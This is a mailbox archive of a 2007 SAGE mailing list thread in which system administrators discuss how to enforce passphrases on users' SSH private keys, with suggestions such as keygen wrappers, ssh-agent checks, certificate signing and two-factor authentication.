	b=CPiqjrKTjev+9z+V2Q2Wl9agdqvoSucrJzCtgyTrg5A3Af1QqNX2DGCocwF3foeV3UZTGLZXaudR9sa2yZ/2odLbfKx4KUynQCErWjqaqOaMG/+6zVM1iHBSme6tQJxUwI1gGxFh/DP4+s0S8mCGaS5jdwnn5ieXLRT1TY2JZ2U=
Received: by 10.49.41.18 with SMTP id t18mr6877772nfj.1169482308098;
	Mon, 22 Jan 2007 08:11:48 -0800 (PST)
Received: by 10.49.22.18 with HTTP; Mon, 22 Jan 2007 08:11:48 -0800 (PST)
Message-ID: <d6bfee120701220811n6bca9890h25c2175b8340fd32@mail.gmail.com>
Date: Mon, 22 Jan 2007 08:11:48 -0800
From: "Dana Quinn" <dquinn@gmail.com>
Reply-To: danaq@pobox.com
To: "Dustin Puryear" <dustin@puryear-it.com>
Subject: Re: [SAGE] The danger of SSH keys..
Cc: sage-members@usenix.org, general@brlug.net
In-Reply-To: <410572049.20070122085528@puryear-it.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <410572049.20070122085528@puryear-it.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=4%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Make it so people only have access to a keygen binary that requires a
password.  I'm aware of a large company that does this fairly
successfully.  Could get unwieldy as you need to cover all the
possible OSs that people might use to generate...

On 1/22/07, Dustin Puryear <dustin@puryear-it.com> wrote:
> Other than making a policy of "Put passwords on your SSH keys", how do
> you handle the danger of some users potentially not using passwords on
> their keys?
>
> I'm interested in real-world ways to manage this issue. Policy
> statements don't cut it for me. :)
>
> If I have a system that doesn't allow keys, I can check for weak
> passwords in the local system password database using various tools.
> But I can't really *ENFORCE* a check against user keys (i.e., I can't
> check for weak passwords or no passwords).
>
> How are you dealing with this?
>
> ---
> Puryear Information Technology, LLC
> Baton Rouge, LA * 225-706-8414
> http://www.puryear-it.com
>
> Author:
>   "Best Practices for Managing Linux and UNIX Servers"
>   "Spam Fighting and Email Security in the 21st Century"
>
> Download your free copies:
>   http://www.puryear-it.com/publications.htm
>
>


-- 
Dana Quinn
danaq@pobox.com


From sage-members-owner@usenix.org Mon Jan 22 08:48:11 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MGmAX6016991
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 08:48:10 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MGmAHi016990
	for sage-members-0utGoign; Mon, 22 Jan 2007 08:48:10 -0800 (PST)
Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.246])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MGlh3N016976
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 08:47:54 -0800 (PST)
Received: by an-out-0708.google.com with SMTP id c5so380449anc
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 08:47:43 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=H391bLNQoWK3dGSaZhcb0t8hGDtMnwxh/ELbymren6RmcDTTkjENGKcMVn8nJS6HMI14pwMyKhUYpaiv488te8XUAh4Xu6HfRulUf8fu8nutlnnpxzD4JjU+eMHGrR4RPZzQgbAFTpcb6OaTyJsnmJtr3a22fBNNXEXrdKkCwdA=
Received: by 10.49.58.13 with SMTP id l13mr6306253nfk.1169484459135;
	Mon, 22 Jan 2007 08:47:39 -0800 (PST)
Received: by 10.78.129.20 with HTTP; Mon, 22 Jan 2007 08:47:39 -0800 (PST)
Message-ID: <b5e09e920701220847o53bb5a9fu71535ac2ceee4336@mail.gmail.com>
Date: Mon, 22 Jan 2007 11:47:39 -0500
From: "Meenoo Shivdasani" <meenoo@gmail.com>
To: danaq@pobox.com
Subject: Re: [SAGE] The danger of SSH keys..
Cc: sage-members@usenix.org
In-Reply-To: <d6bfee120701220811n6bca9890h25c2175b8340fd32@mail.gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <410572049.20070122085528@puryear-it.com>
	<d6bfee120701220811n6bca9890h25c2175b8340fd32@mail.gmail.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=4%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 1/22/07, Dana Quinn <dquinn@gmail.com> wrote:
> Make it so people only have access to a keygen binary that requires a
> password.  I'm aware of a large company that does this fairly
> successfully.  Could get unwieldy as you need to cover all the

What stops someone from taking a key generated with that binary,
importing into another key management tool, removing the keyphrase,
and saving it back out?

M


From sage-members-owner@usenix.org Mon Jan 22 09:07:48 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MH7ir4018368
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 09:07:45 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MH7i8g018365
	for sage-members-0utGoign; Mon, 22 Jan 2007 09:07:44 -0800 (PST)
Received: from mail875.megamailservers.com
	(mail875.carrierinternetsolutions.com [69.49.106.85])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MH7Bn4018305
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 09:07:27 -0800 (PST)
X-Authenticated-User: leonvs.covad.net
Received: from [192.168.1.4] (h-67-101-4-148.sttnwaho.dynamic.covad.net
	[67.101.4.148]) (authenticated bits=0)
	by mail875.megamailservers.com (8.13.6.20060614/8.13.1) with ESMTP id
	l0MGgZYg015047; Mon, 22 Jan 2007 11:42:36 -0500
In-Reply-To: <410572049.20070122085528@puryear-it.com>
References: <410572049.20070122085528@puryear-it.com>
Mime-Version: 1.0 (Apple Message framework v624)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <34f63e5e69e99445d121422c14c3ce89@occam.com>
Content-Transfer-Encoding: 7bit
Cc: SAGE Members Mailing List <sage-members@usenix.org>, general@brlug.net
From: Leon Towns-von Stauber <leonvs@occam.com>
Subject: Re: [SAGE] The danger of SSH keys..
Date: Mon, 22 Jan 2007 08:42:21 -0800
To: "Dustin Puryear" <dustin@puryear-it.com>
X-Mailer: Apple Mail (2.624)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk


On Jan 22, 2007, at 6:55 AM, Dustin Puryear wrote:

> Other than making a policy of "Put passwords on your SSH keys", how do
> you handle the danger of some users potentially not using passwords on
> their keys?
>
> I'm interested in real-world ways to manage this issue. Policy
> statements don't cut it for me. :)
>
> If I have a system that doesn't allow keys, I can check for weak
> passwords in the local system password database using various tools.
> But I can't really *ENFORCE* a check against user keys (i.e., I can't
> check for weak passwords or no passwords).
>
> How are you dealing with this?

Checking to see that a password is set can be done; it's easy
to tell if someone's private SSH key is encrypted, and you can
script a loop through user homedirs and private key files to do
that.

Checking for weak passwords is something else, and part of a
larger problem. You're presented with the same issue trying to
crack passwords encrypted with a modern hashing algorithm, like
SHA or Blowfish, or using more secure password storage, like
Password Server on Mac OS X. Currently available computing
resources make it practically impossible to run an effective
check for weak passwords (which is, of course, exactly the
point).

AFAICT, the only real solution there is to run a check on the
password when it's set, and you have access to the cleartext
password. In the case of SSH keys, maybe you could write a
wrapper for ssh-keygen that first runs the password through
John the Ripper or something, before encrypting the SSH key.

_____________________________________________________________
Leon Towns-von Stauber          http://www.occam.com/leonvs/
"We have not come to save you, but you will not die in vain!"



From sage-members-owner@usenix.org Mon Jan 22 09:17:56 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MHHttZ019135
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 09:17:55 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MHHt4V019134
	for sage-members-0utGoign; Mon, 22 Jan 2007 09:17:55 -0800 (PST)
Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.246])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MHHSoP019103
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 09:17:38 -0800 (PST)
Received: by an-out-0708.google.com with SMTP id c5so387103anc
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 09:17:26 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=Pt5cexgvWc4kFbZb3sE8kkgM3HAzi8s917gaKQ0J2LZQgF64rQaGDx3VMlZOsUD9HJLC+WydpPnXyIKJcAw3CUa6wU+Z2by+diLQjfdy5Q7sQT8L+s3xYZtkH2ekoyXveS0+Xc4QdjuuIJZ53tKTY2vfE9Cw+EiSgfbOv55k0Ak=
Received: by 10.48.230.2 with SMTP id c2mr6990062nfh.1169486233000;
	Mon, 22 Jan 2007 09:17:13 -0800 (PST)
Received: by 10.49.22.18 with HTTP; Mon, 22 Jan 2007 09:17:12 -0800 (PST)
Message-ID: <d6bfee120701220917o6b30b488yc31de0a26ad8f2cc@mail.gmail.com>
Date: Mon, 22 Jan 2007 09:17:12 -0800
From: "Dana Quinn" <dquinn@gmail.com>
Reply-To: danaq@pobox.com
To: "Meenoo Shivdasani" <meenoo@gmail.com>
Subject: Re: [SAGE] The danger of SSH keys..
Cc: sage-members@usenix.org
In-Reply-To: <b5e09e920701220847o53bb5a9fu71535ac2ceee4336@mail.gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <410572049.20070122085528@puryear-it.com>
	<d6bfee120701220811n6bca9890h25c2175b8340fd32@mail.gmail.com>
	<b5e09e920701220847o53bb5a9fu71535ac2ceee4336@mail.gmail.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=4%
Sender: owner-sage-members@usenix.org
Precedence: bulk

nothing, i imagine.

also doesn't stop people from compiling their ssh binaries.  or many
other ways of getting around.

this approach also assumes a lot of things - standardized desktop
builds, packaging (so that people aren't using their own [or redhat's]
build of ssh-keygen), other things.

but it works fairly well in this environment, because when ssh-keygen
is run, and the person hits return for a blank password, they get a
message about how it's against corporate policy, so on.  so someone
choosing to work around that *probably* has already received a
reminder that they aren't supposed to do it that way.

in practice, i've seen it stops 99% of the attempts to do it, and they
go try to solve their problem another way.  (it's usually developers
trying to push things automatically, the company has other, approved
ways to do that sort of thing)

whether the 1% of attempts that continue around this block are more
dangerous or less dangerous to overall company security is probably
something people argue about.  I've not seen what happens when a 1%-er
is uncovered, but that could be handled by a standard company policy.

so this isn't exactly what Dustin has asked for, but it's been a
useful approach so far.

dana

On 1/22/07, Meenoo Shivdasani <meenoo@gmail.com> wrote:
> On 1/22/07, Dana Quinn <dquinn@gmail.com> wrote:
> > Make it so people only have access to a keygen binary that requires a
> > password.  I'm aware of a large company that does this fairly
> > successfully.  Could get unwieldy as you need to cover all the
>
> What stops someone from taking a key generated with that binary,
> importing into another key management tool, removing the keyphrase,
> and saving it back out?
>
> M
>


-- 
Dana Quinn
danaq@pobox.com


From sage-members-owner@usenix.org Mon Jan 22 09:26:52 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MHQppF019820
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 09:26:52 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MHQpsV019819
	for sage-members-0utGoign; Mon, 22 Jan 2007 09:26:51 -0800 (PST)
Received: from smtp.swarpa.net (melfpelt.swarpa.net [70.84.200.162])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MHQXS9019785
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 09:26:44 -0800 (PST)
Received: by smtp.swarpa.net (Postfix, from userid 500)
	id 3BC371250E2; Mon, 22 Jan 2007 12:26:33 -0500 (EST)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <17844.62408.620409.299825@melfpelt.swarpa.net>
Date: Mon, 22 Jan 2007 12:26:32 -0500
To: SAGE Members Mailing List <sage-members@usenix.org>
Subject: Re: [SAGE] The danger of SSH keys..
In-Reply-To: <34f63e5e69e99445d121422c14c3ce89@occam.com>
References: <410572049.20070122085528@puryear-it.com>
	<34f63e5e69e99445d121422c14c3ce89@occam.com>
X-Mailer: VM 7.17 under 21.4 (patch 15) "Security Through Obscurity" XEmacs
	Lucid
From: Josh Smith <irilyth@infersys.com>
X-Attribution: JBS
Organization: Evil Geniuses For A Better Tomorrow
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

I think the issue is that in many situations people can generate keys on
machines over which you don't have any control whatsoever. If I can log in
to your server from my laptop, you don't have any way to ensure that I've
put a good passphrase on my private key; whereas if I'm logging in with a
password, you can do things on the server side to ensure that I've chosen
a good one.

Then again, you can't control what I do with my excellent password; I
might write it down on a post-it stuck to my monitor, or repeat it aloud a
hundred times in the same room as my pet parrot, or put it in my profile
on MySpace, or whatever. There's only so much you can do to prevent users
from screwing up; telling them what to do, and punishing them if you catch
them not doing it, may be your best bet in many cases. (And if you can't
justify something more hardcore, like physical token based security, or
whatever.)

                                      -Josh (irilyth@infersys.com)


From sage-members-owner@usenix.org Mon Jan 22 09:29:44 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MHTiA6020217
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 09:29:44 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MHThtA020215
	for sage-members-0utGoign; Mon, 22 Jan 2007 09:29:43 -0800 (PST)
Received: from webmail3.sd.dreamhost.com (postfix@webmail3.sd.dreamhost.com
	[64.111.100.15])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MHTbHH020204
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 09:29:42 -0800 (PST)
Received: from wm.egbok.com (localhost [127.0.0.1])
	by webmail3.sd.dreamhost.com (Postfix) with ESMTP id 125941419F;
	Mon, 22 Jan 2007 09:22:05 -0800 (PST)
Received: from 32.97.110.142 (SquirrelMail authenticated user hbo@egbok.com)
	by wm.egbok.com with HTTP; Mon, 22 Jan 2007 09:22:05 -0800 (PST)
Message-ID: <2622.32.97.110.142.1169486525.squirrel@wm.egbok.com>
Date: Mon, 22 Jan 2007 09:22:05 -0800 (PST)
Subject: Re: [SAGE] The danger of SSH keys..
From: hbo@egbok.com
To: "Dustin Puryear" <dustin@puryear-it.com>
Cc: sage-members@usenix.org
User-Agent: SquirrelMail/1.4.9a
MIME-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=10%
Sender: owner-sage-members@usenix.org
Precedence: bulk

> Other than making a policy of "Put passwords on your SSH keys", how do you
> handle the danger of some users potentially not using passwords on their
keys?
>

How do you handle the danger of people writing down those "secure"
passwords you enforce?

Unsigned keys, like passwords, depend on the user to maintain the security
of the access token. If you want something more secure, you need to look
at multiple factor systems, and/or certificate based mechanisms.
(Certificates, unlike "naked" keys, can enforce password protection. If
there's no password, don't sign the key at the CA.)

--
Howard Owen    EGBOK Consultants  | "Even if you are on the right
 "I've had the initials longer"   |  track, you'll get run over if you
hbo@egbok.com     +1-650-218-2216 |  just sit there." - Will Rogers





From sage-members-owner@usenix.org Mon Jan 22 09:35:57 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MHZr2I020790
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 09:35:53 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MHZrCS020789
	for sage-members-0utGoign; Mon, 22 Jan 2007 09:35:53 -0800 (PST)
Received: from mail.puryear-it.com ([72.242.176.166])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MHZLe9020759
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 09:35:33 -0800 (PST)
Received: from mail.puryear-it.com (localhost.localdomain [127.0.0.1])
	by mail.puryear-it.com (8.13.1/8.13.1) with ESMTP id l0MHZCoJ010267;
	Mon, 22 Jan 2007 11:35:12 -0600
Received: from mail.puryear-it.com (root@localhost)
	by mail.puryear-it.com (8.13.1/8.13.1/Submit) with ESMTP id
	l0MHZCTj010266; Mon, 22 Jan 2007 11:35:12 -0600
Received: from localhost (heavy.puryear-it.com 192.168.222.5)
	by mail.puryear-it.com (Scalix SMTP Relay 10.0.1.3)
	via ESMTP; Mon, 22 Jan 2007 11:35:12 -0600 (CST)
Date: Mon, 22 Jan 2007 11:35:13 -0600
From: "Dustin Puryear" <dustin@puryear-it.com>
Reply-To: "Dustin Puryear" <dustin@puryear-it.com>
To: Josh Smith <irilyth@infersys.com>
cc: SAGE Members Mailing List <sage-members@usenix.org>
Message-ID: <1255865152.20070122113513@puryear-it.com>
In-Reply-To: <17844.62408.620409.299825@melfpelt.swarpa.net>
References: <410572049.20070122085528@puryear-it.com>
References: <34f63e5e69e99445d121422c14c3ce89@occam.com>
References: <17844.62408.620409.299825@melfpelt.swarpa.net>
Subject: Re[2]: [SAGE] The danger of SSH keys..
X-Priority: 3 (Normal)
x-scalix-Hops: 1
X-Mailer: The Bat! (v3.80.06) Professional
Organization: Puryear Information Technology, LLC
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Disposition: inline
X-Spam-Status: No, score=1.7 required=5.0 tests=AWL,BAYES_50,
	FORGED_MUA_THEBAT_CS autolearn=no version=3.0.5
X-Spam-Level: *
X-Spam-Checker-Version: SpamAssassin 3.0.5 (2005-11-28) on mail.puryear-it.com
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

A key difference here is that with a system password, I can at least
force the user to set a password rather than leaving it blank. I can
also require a minimum strength. With SSH keys, I can't do *any* of
that.

The points about two-factor authentication are well-taken, but I guess
I'm just trying to focus on SSH keys specifically in this thread. To
me, they are both convenient and very dangerous. More so than just
passwords since you can mitigate some disadvantages of passwords to
some degree, but it's very difficult to enforce anything on SSH keys
since it's really so client-focused.

---
Puryear Information Technology, LLC
Baton Rouge, LA * 225-706-8414
http://www.puryear-it.com

Author:
  "Best Practices for Managing Linux and UNIX Servers"
  "Spam Fighting and Email Security in the 21st Century"

Download your free copies:
  http://www.puryear-it.com/publications.htm


Monday, January 22, 2007, 11:26:32 AM, you wrote:

> I think the issue is that in many situations people can generate keys on
> machines over which you don't have any control whatsoever. If I can log in
> to your server from my laptop, you don't have any way to ensure that I've
> put a good passphrase on my private key; whereas if I'm logging in with a
> password, you can do things on the server side to ensure that I've chosen
> a good one.

> Then again, you can't control what I do with my excellent password; I
> might write it down on a post-it stuck to my monitor, or repeat it aloud a
> hundred times in the same room as my pet parrot, or put it in my profile
> on MySpace, or whatever. There's only so much you can do to prevent users
> from screwing up; telling them what to do, and punishing them if you catch
> them not doing it, may be your best bet in many cases. (And if you can't
> justify something more hardcore, like physical token based security, or
> whatever.)

>                                       -Josh (irilyth@infersys.com)



From sage-members-owner@usenix.org Mon Jan 22 09:48:30 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MHmTXX021799
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 09:48:30 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MHmTAj021797
	for sage-members-0utGoign; Mon, 22 Jan 2007 09:48:29 -0800 (PST)
Received: from smtp.swarpa.net (melfpelt.swarpa.net [70.84.200.162])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MHmB4d021780
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 09:48:22 -0800 (PST)
Received: by smtp.swarpa.net (Postfix, from userid 500)
	id A7454125109; Mon, 22 Jan 2007 12:48:11 -0500 (EST)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <17844.63707.200441.191399@melfpelt.swarpa.net>
Date: Mon, 22 Jan 2007 12:48:11 -0500
To: SAGE Members Mailing List <sage-members@usenix.org>
Subject: Re[2]: [SAGE] The danger of SSH keys..
In-Reply-To: <1255865152.20070122113513@puryear-it.com>
References: <410572049.20070122085528@puryear-it.com>
	<34f63e5e69e99445d121422c14c3ce89@occam.com>
	<17844.62408.620409.299825@melfpelt.swarpa.net>
	<1255865152.20070122113513@puryear-it.com>
X-Mailer: VM 7.17 under 21.4 (patch 15) "Security Through Obscurity" XEmacs
	Lucid
From: Josh Smith <irilyth@infersys.com>
X-Attribution: JBS
Organization: Evil Geniuses For A Better Tomorrow
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

DP == Dustin Puryear <dustin@puryear-it.com>

DP> A key difference here is that with a system password, I can at least
DP> force the user to set a password rather than leaving it blank. I can
DP> also require a minimum strength. With SSH keys, I can't do *any* of
DP> that.

Well, but the danger of a blank or short password is much higher than the
danger of a blank or short passphrase on an SSH key, in that someone could
very reasonably brute-force their way into an account with a blank or
short password, whereas they have to actually get their hands on the key
in order to take advantage of its poor passphrase.

If someone set a blank password, and you didn't prevent it, I'd almost be
surprised if their account *didn't* get hacked; or to put it another way,
if their account did get hacked, I'd say "oh, they had a blank password,
well, that explains it". If someone sets up an SSH key with a blank
passphrase, and then gets hacked, I'd want to do a lot more investigation
into what happened. In particular, if someone had sufficient access to the
user's client system to steal the key, they might well have had sufficient
access to steal a passphrase too, and that'd be important to discover.

                                      -Josh (irilyth@infersys.com)


From sage-members-owner@usenix.org Mon Jan 22 10:00:47 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MI0lM7022520
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 10:00:47 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MI0ks1022519
	for sage-members-0utGoign; Mon, 22 Jan 2007 10:00:46 -0800 (PST)
Received: from alnrmhc11.comcast.net (alnrmhc11.comcast.net [206.18.177.51])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MI0K8R022490
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 10:00:30 -0800 (PST)
Received: from dhcp-65-390.kendall.corp.akamai.com
	(fw01.cmbrmaks.akamai.com[80.67.64.10])
	by comcast.net (alnrmhc11) with SMTP
	id <20070122180007b110025km5e>; Mon, 22 Jan 2007 18:00:07 +0000
Subject: Re: [SAGE] The danger of SSH keys..
From: Larry Underhill <lgu@pobox.com>
Reply-To: lgu@pobox.com
To: Dustin Puryear <dustin@puryear-it.com>
Cc: sage-members@usenix.org, general@brlug.net
In-Reply-To: <410572049.20070122085528@puryear-it.com>
References: <410572049.20070122085528@puryear-it.com>
Content-Type: text/plain
Date: Mon, 22 Jan 2007 12:59:57 -0500
Message-Id: <1169488797.5795.46.camel@lgu-laptop>
Mime-Version: 1.0
X-Mailer: Evolution 2.6.1 
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=2%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Mon, 2007-01-22 at 08:55 -0600, Dustin Puryear wrote:

> If I have a system that doesn't allow keys, I can check for weak
> passwords in the local system password database using various tools.
> But I can't really *ENFORCE* a check against user keys (i.e., I can't
> check for weak passwords or no passwords).

You can check for passphrase-less keys by attempting to load the key
into an ssh-agent. If it loads up, then you have a key with no
passphrase. 

Regarding strength, I'd be inclined to write a wrapper around
ssh-keygen. You could grab the passphrase before generating the key and
create some dummy, using that passphrase as the passwd. This would allow
you to enforce the same password policy that you have specified via
PAM. 

If all was well, ssh-keygen could then generate the key pair. 

Dunno how I would restrict key pair generation to just my wrapper script
though... 

--Larry




From sage-members-owner@usenix.org Mon Jan 22 10:08:11 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MI8B61023056
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 10:08:11 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MI8BsC023055
	for sage-members-0utGoign; Mon, 22 Jan 2007 10:08:11 -0800 (PST)
Received: from st01.samurai.com (st01.samurai.com [205.207.28.71])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MI7kmX023030
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 10:07:57 -0800 (PST)
Received: from h216-235-8-77.host.egate.net ([216.235.8.77] helo=[192.168.2.5])
	by st01.samurai.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.62)
	(envelope-from <bryanf@samurai.com>) id 1H93Zx-0002lB-HR
	for sage-members@usenix.org; Mon, 22 Jan 2007 13:07:37 -0500
Message-ID: <45B4FD68.2030000@samurai.com>
Date: Mon, 22 Jan 2007 13:07:36 -0500
From: Bryan Fullerton <bryanf@samurai.com>
User-Agent: Thunderbird 1.5.0.9 (Macintosh/20061207)
MIME-Version: 1.0
To: SAGE Members Mailing List <sage-members@usenix.org>
Subject: Re: [SAGE] The danger of SSH keys..
References: <410572049.20070122085528@puryear-it.com>
	<1255865152.20070122113513@puryear-it.com>
In-Reply-To: <1255865152.20070122113513@puryear-it.com>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Antivirus-Scanner: Clean mail though you should still use an Antivirus
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Dustin Puryear wrote:
> A key difference here is that with a system password, I can at least
> force the user to set a password rather than leaving it blank. I can
> also require a minimum strength. With SSH keys, I can't do *any* of
> that.
>   
It doesn't seem like it would be monumentally hard to add a check in the 
various OpenSSH binaries to require a non-empty key passphrase of a 
certain minimum length.

If you're not up to coding it yourself you could submit a feature 
request (with associated offer to fund development if you really want 
it). If the OpenSSH folks added it themselves it could likely be managed 
via an associated config option.

Bryan



From sage-members-owner@usenix.org Mon Jan 22 10:17:30 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MIHOWj023760
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 10:17:24 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MIHObN023759
	for sage-members-0utGoign; Mon, 22 Jan 2007 10:17:24 -0800 (PST)
Received: from mail.puryear-it.com ([72.242.176.166])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MIGmki023738
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 10:17:05 -0800 (PST)
Received: from mail.puryear-it.com (localhost.localdomain [127.0.0.1])
	by mail.puryear-it.com (8.13.1/8.13.1) with ESMTP id l0MIFXhV015866;
	Mon, 22 Jan 2007 12:15:34 -0600
Received: from mail.puryear-it.com (root@localhost)
	by mail.puryear-it.com (8.13.1/8.13.1/Submit) with ESMTP id
	l0MIFXFE015865; Mon, 22 Jan 2007 12:15:33 -0600
Received: from localhost (heavy.puryear-it.com 192.168.222.5)
